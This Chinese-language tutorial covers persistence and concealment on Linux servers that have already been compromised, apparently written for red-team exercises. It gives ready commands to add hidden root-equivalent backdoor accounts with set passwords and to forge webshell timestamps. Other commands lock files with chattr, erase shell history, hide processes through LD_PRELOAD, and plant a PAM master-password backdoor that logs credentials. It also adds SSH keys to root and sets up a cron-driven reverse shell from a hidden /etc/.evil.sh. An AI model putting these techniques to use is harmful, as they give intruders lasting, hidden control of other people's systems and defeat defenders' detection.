UID=0是最高权限的用户,有时候不能被远程登录,可以创建一个普通用户。
正常可以通过 “id” 来查看当前的用户的UID,
存在交互的shell且允许uid=0的⽤户远程登录
假设是高版本的话,先修改/etc/passwd的内容,在设置对应账户的密码
echo “test❌0:0:😕:/bin/sh” >> /etc/passwd
#增加超级⽤户账号
passwd test
#修改test的密码
添加成功
这里主要区分是什么服务器 因为在你创建用户 之后你要选择登录 你的ip一定是跟机主原始ip不一致 导致报异地登录等
这个时候我们就可以创建一个普通的用户,先修改/etc/passwd的内容,在设置对应账户的密码
echo “xbb❌1000:1000:😕:/bin/sh” >> /etc/passwd
#增加普通⽤户账号
passwd xbb
#修改wxg的密码为xbb123456
可以设置简单的密码
useradd wxg -u 0 -o -g root -G root|| echo “123456” | passwd --stdin wxg
#创建账户wxg、密码123456且为root权限
注意,上述命令需要执行2次
在Ubuntu的一些版本中没有–-stdin,使用上述命令该密码会报错,可以使用下边这条语句:
也得执行两次。且需要root用户执行,sudo执行也会失败。
sudo useradd wxg -u 0 -o -g root -G root || echo wxg:123456 | chpasswd
#创建账户wxg、密码123456且为root权限
新增一个低权限用户(这种权限较小)
useradd test
echo “123456” | passwd --stdin test
、、在Ubuntu的一些版本中没有–-stdin,使用上述命令该密码会报错,可以使用下边这条语句:
echo test:123456 | chpasswd
设置复杂密码的高权限用户
useradd -u 0 -o -g root -G root user |echo -e “1qazwsx2wsx\n1qazwsx2wsx”|passwd user
、、该命令也得执行2次。且需要root用户执行,sudo执行也会失败。
、、该命令创建用户名称为“ user ”密码为“ 1qazwsx2wsx ”
首先,使用perl语言(Linux自带)生成带有盐值的密码
perl -le ‘print crypt(“123456”,“addedsalt”)’
通过返回的盐值
echo “test:adrla7IBSfTZQ:0:0:root:/root:/bin/bash” >>/etc/passwd
hvv中,很多蓝队首先会根据文件的修改时间来判断文件是否含有后门。
假设原本的文件大多时间都为20年,新上传的木马是22年的,肯定会被优先针对。
可以通过以下命令来复制文件的时间属性:
touch -r index.php shell.php
实验如下:
创建一个2.php 看世界
在复制shell.php文件属性来建立3.php,效果还是很明显的。
在Linux中,使⽤chattr命令来防⽌root和其他管理⽤户误删除和修改重要⽂件及⽬录,
此权限⽤ls -l是查看不出来的,从⽽达到隐藏权限的⽬的。
chattr +i evil.php #锁定⽂件
rm -rf evil.php #提示禁⽌删除
lsattr evil.php #属性查看
chattr -i evil.php #解除锁定
rm -rf evil.php #彻底删除⽂件
在Linux之中,存在history,可以记录我们执行的命令。
在shell中执行的命令,不希望被记录在命令行历史中,那么在linux中可以开启无痕操作模式,所谓神不知鬼不觉
只针对你的工作关闭历史记录
history -c 大法
空格 set +o history
由于空格的缘故,该命令本身也不会被记录。
上面的命令会临时禁用历史功能,这意味着在这命令之后你执行的所有操作都不会记录到历史中,然而这个命令之前的所有东西都会原样记录在历史列表中。
如要重新开启历史功能
空格 set -o history
从历史记录中删除指定的命令
假设历史记录中已经包含了一些你不希望记录的命令。这种情况下我们怎么办?很简单。通过下面的命令来删除:
history | grep “keyword”
输出历史记录中匹配的命令
history -d 命令所在的行数
批量删除:
只保留前100个
sed -i ‘100,$d’ .bash_history
Linux 下创建一个隐藏文件:
touch .test.txt
touch 命令可以创建一个文件,文件名前面加一个 点 就代表是隐藏文件 而且使用命令ls
-l是查看不出来的,只能查看到文件及文件夹,查看Linux下的隐藏文件需要用到命令:ls -al
管理员无法通过相关命令工具查找到你运行的进程,从而达到隐藏目的,实现进程隐藏。
劫持预加载动态链接库 LD_PRELOAD
libprocesshider
使用 ld 预加载器在 Linux 下隐藏进程。
完整教程可在https://sysdigcloud.com/hiding-linux-processes-for-fun-and-profit/
简而言之,编译库:
gianluca@sid:~/libprocesshider$ make
gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
gianluca@sid:~/libprocesshider$ sudo mv libprocesshider.so /usr/local/lib/
使用全局动态链接器加载它
root@sid:~# echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
你的过程将不为人知
gianluca@sid:~$ sudo ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
…
gianluca@sid:~$ sudo lsof -ni
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
介绍
Rootkit是一种特殊的恶意软件,它的功能是在安装目标上隐藏自身及指定的文件、进程和网络链接等信息,比较多见到的是Rootkit一般都和木马、后门等其他恶意程序结合使用。
rootkit是linux平台下最常见的一种木马后门工具,它主要是通过替换系统文件来达到入侵和隐藏的目的。rootkit主要分为文件级别的和内核级别的
文件级别:一般是通过程序漏洞或者系统漏洞进入系统后,通过修改系统的重要文件来达到隐藏自己的目的。在系统遭受rootkit攻击后,合法的文件被木马程序替代,变成了外壳程序,而其内部是隐藏着的后门程序。
内核级别:是比文件级rootkit更高级的一种入侵方式,它可以使攻击者获得对系统底层的完全控制权,此时攻击者可以修改系统内核,进而截获运行程序向内核提交的命令,并将其重定向到入侵者所选择的程序并运行此程序。
常用的rookit后门工具有Reptile、mafix
Reptile是一款rookit后门工具。项目地址:https://github.com/f0rb1dd3n/Reptile/tree/0e562cffc4373d6774502a2f68fd758f58a2db75
PAM是一种认证模块,PAM可以作为Linux登录验证和各类基础服务的认证,简单来说就是一种用于Linux系统上的用户身份验证的机制。进行认证时首先确定是什么服务,然后加载相应的PAM的配置文件(位于/etc/pam.d),最后调用认证文件(位于/lib/security)进行安全认证
简易利用的PAM后门也是通过修改PAM源码中认证的逻辑来达到权限维持
1、获取目标系统所使用的PAM版本,下载对应版本的pam版本
2、解压缩,修改pam_unix_auth.c文件,添加万能密码
3、编译安装PAM
4、编译完后的文件在:modules/pam_unix/.libs/pam_unix.so,复制到/lib64/security中进行替换,即可使用万能密码登陆,并将用户名密码记录到文件中。
创建秘钥对,然后将公钥上传到拿下的服务器中,实现root账号免密登录
生成ssh秘钥对
ssh-keygen -t rsa
保存路径输入 ./id_rsa ,保存到当前路径。接着再按两次回车
将id_rsa.pub公钥上传到服务中
将公钥写入到authorized_keys文件中
mkdir /root/.ssh && touch /root/.ssh/authorized_keys
cat id_rsa.pub >> /root/.ssh/authorized_keys && chmod 600 /root/.ssh/authorized_keys && chmod 700 /root/.ssh/
配置允许使用秘钥登录
vim /etc/ssh/sshd_config
RSAAuthentication yes
PubkeyAuthentication yes
ssh秘钥登录
ssh -i id_rsa root@ip
使用crontab命令进行反弹shell。crontab命令用于设置周期性被执行的指令。新建shell脚本,利用脚本进行反弹。
创建反弹shell脚本,vim /etc/.evil.sh
#!/bin/bash
bash -i >& /dev/tcp/xx.xx.xx.xx/80 0>&1
并加上执行权限 chmod +x /etc/.evil.sh
添加计划任务 我们可以使用crontab -e或者vim /etc/crontab添加计划任务
#添加计划任务
vim /etc/crontab
#查看计划任务
cat /etc/crontab
设置定时任务为每分钟执行一次
#每一分钟执行一次
*/1 * * * * root /etc/.evil.sh
nc 监听 上线